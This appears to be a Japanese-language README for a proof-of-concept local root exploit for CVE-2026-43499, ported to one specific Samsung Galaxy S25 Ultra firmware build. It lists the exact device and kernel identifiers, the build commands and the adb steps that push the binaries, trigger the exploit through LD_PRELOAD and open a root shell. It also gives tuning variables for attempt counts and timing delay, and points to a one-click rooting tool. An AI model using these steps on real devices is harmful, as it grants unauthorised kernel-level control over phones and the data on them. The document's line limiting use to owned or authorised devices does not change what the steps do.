
Galaxy S25 Ultra SM-S938N S938NKSUACZF1 向けスタンドアロン CVE-2026-43499 PoC
韓国Samsung Galaxy S25 Ultra向けのCVE-2026-43499のデバイス固有のProof of Conceptです。
Model: SM-S938N
Codename: pa3q
Android: 16 / API 36
Build: S938NKSUACZF1
Display ID: BP4A.251205.006.S938NKSUACZF1
Fingerprint: samsung/pa3qksx/pa3q:16/BP4A.251205.006/S938NKSUACZF1_OKRACZF1:user/release-keys
Kernel: 6.6.98-android15-8-pd6ff1cd-abogkiS938NKSUACZF1-4k
Architecture: arm64 / 4K pages
上記のファームウェアでのみ有効なオフセットと構造レイアウトです。
この移植は以下に基づいています:
b850d3bddc74c3328d5fbcc0568d21962b55d949アップストリームのApache License 2.0はLICENSEに保持されています。
pa3q-S938NKSUACZF1のオフセットとカーネルレイアウトを追加しました。system_unbound_wqユーザーモードヘルパールートパスを追加しました。ANDROID_NDK_HOMEをAndroid NDK r29または互換性のあるツールチェーンに設定してください:
make -j8
出力:
build/cve-2026-43499
build/cve-2026-43499-root
adb push build/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
このエクスプロイトはデフォルトで16回の独立した試行と20,000マイクロ秒の基本pselect遅延を使用します。タイミングデータ収集時にはこれらを上書きできます:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true"
一時的なルートセッションと保持された割り当ては再起動まで持続します。
ワンクリックインストールおよびKernelSUサポートには、Root My Galaxyを使用してください。
所有しているデバイス、またはテストする明示的な権限があるデバイスでのみ使用してください。